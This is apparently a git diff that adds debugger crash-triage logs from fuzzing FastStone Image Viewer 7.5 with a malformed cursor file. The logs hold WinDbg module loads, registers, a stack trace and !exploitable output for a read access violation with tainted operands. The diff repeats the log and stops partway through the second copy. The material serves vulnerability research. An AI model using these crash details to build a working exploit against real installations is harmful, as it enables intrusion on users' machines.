+Page heap: pid 0x9E4: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x9E4: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(9e4.ef4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07f155b0 edx=00003879 esi=fe630010 edi=1171cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-4.41656e+017 5.79319e+010 -1.72844e-028 -4128.51 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00216000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00216000 6ede4a45 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0ee 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00216000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7906987 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2894/WindowsDebugEngine_description.txt @@ -0,0 +1,210 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x9E4: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x9E4: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`71bb0000 00000000`71be2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`71bf0000 00000000`71cb6000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71970000 00000000`71989000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`71940000 00000000`71963000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`001d0000 00000000`001f3000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(9e4.ef4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07f155b0 edx=00003879 esi=fe630010 edi=1171cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.752306050843034720000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-4.41656e+017 5.79319e+010 -1.72844e-028 -4128.51 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ff8130 07f75930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00216000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00216000 6ede4a45 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0ee 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00216000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 